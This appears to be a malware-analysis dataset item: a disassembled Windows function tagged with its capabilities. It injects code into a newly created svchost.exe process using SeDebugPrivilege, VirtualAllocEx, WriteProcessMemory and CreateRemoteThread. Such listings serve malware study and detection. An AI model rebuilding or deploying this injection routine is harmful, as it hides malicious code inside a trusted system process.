Function at 0x140009480
Capabilities:
Acquire debug privileges
Allocate or change rwx memory
Create process on windows
Create thread
Get common file path
Inject thread
Resume thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x300]
sub rsp, 0x400
xorps xmm0, xmm0
xor eax, eax
mov qword [rcx], rax
mov rbx, rcx
movups xmmword [rsp + 0x60], xmm0
xor r14d, r14d
lea rcx, [rbp + 0x100]
movups xmmword [rbp - 0x70], xmm0
xor edx, edx
mov r8d, 0xff
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x40], rax
movups xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x64], 1
movups xmmword [rbp - 0x80], xmm0
mov word [rbp - 0x60], r14w
movups xmmword [rbp - 0x50], xmm0
mov dword [rsp + 0x60], WSAGetLastError
call fcn.14003d990
mov edx, 0xff
lea rcx, [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea r9, str.WindowsSystem32_svchost.exe
mov byte [rbp + 0x103], r14b
lea r8, [rbp + 0x100]
lea rdx, [0x14004b8c8]
lea rcx, [rbp + 0x100]
call fcn.140009f70
mov qword [rsp + 0x48], rbx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rdx, [rbp + 0x100]
mov qword [rsp + 0x38], r14
xor r9d, r9d
mov qword [rsp + 0x30], r14
xor r8d, r8d
mov dword [rsp + 0x28], 0x214
xor ecx, ecx
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140009881
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x348]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140009881
lea r8, [rbp + 0x340]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140009881
mov rax, qword [rbp + 0x340]
lea r8, [rsp + 0x50]
mov rcx, qword [rbp + 0x348]
mov r9d, reloc.WS2_32.dll_recv
mov qword [rsp + 0x28], r14
xor edx, edx
mov qword [rsp + 0x54], rax
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x5c], 2
mov qword [rsp + 0x20], r14
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x140009881
mov r8d, dword [rbx + 0x10]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140009881
xor edx, edx
lea rcx, [rbp - 0xc]
mov r8d, 0x10c
call fcn.14003d990
lea rcx, str.Kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [0x14004b8d0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Kernel32.dll
mov qword [rbp - 0x28], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [0x14004b8f0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Kernel32.dll
mov qword [rbp - 0x20], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.WinExec
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.Kernel32.dll
mov qword [rbp - 0x30], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [0x14004b908]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x18], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcessId]
xor edx, edx
mov word [rbp + 0x200], r14w
mov r8d, 0xf8
mov dword [rbp - 0x10], eax
lea rcx, [rbp + 0x202]
call fcn.14003d990
mov r8d, 0xfa
lea rdx, [rbp + 0x200]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r8, [rbp + 0x200]
lea rdx, [0x14004b91c]
lea rcx, [rbp]
call fcn.140009f70
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x130
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x140009881
mov r9d, 0x130
mov qword [rsp + 0x20], r14
lea r8, [rbp - 0x30]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140009881
lea rax, [rbp + 0x338]
mov dword [rbp + 0x338], r14d
mov r9d, 1
mov qword [rsp + 0x20], rax
mov r8d, 0x130
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
je 0x140009881
mov r9d, 0x1000
mov qword [rsp + 0x20], r14
lea r8, [0x140009410]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140009881
lea rax, [rbp + 0x338]
mov r9d, 1
mov r8d, 0x1000
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov qword [rsp + 0x30], r14
mov r9, rdi
mov dword [rsp + 0x28], 4
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov r14, rax
test rax, rax
je 0x140009881
mov ecx, 0xea60
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x338]
mov r9d, 0x40
mov r8d, 0x130
mov qword [rsp + 0x20], rax
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
lea rax, [rbp + 0x338]
mov r9d, 0x40
mov r8d, 0x1000
mov qword [rsp + 0x20], rax
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov al, 1
add rsp, 0x400
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
xor al, al
add rsp, 0x400
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret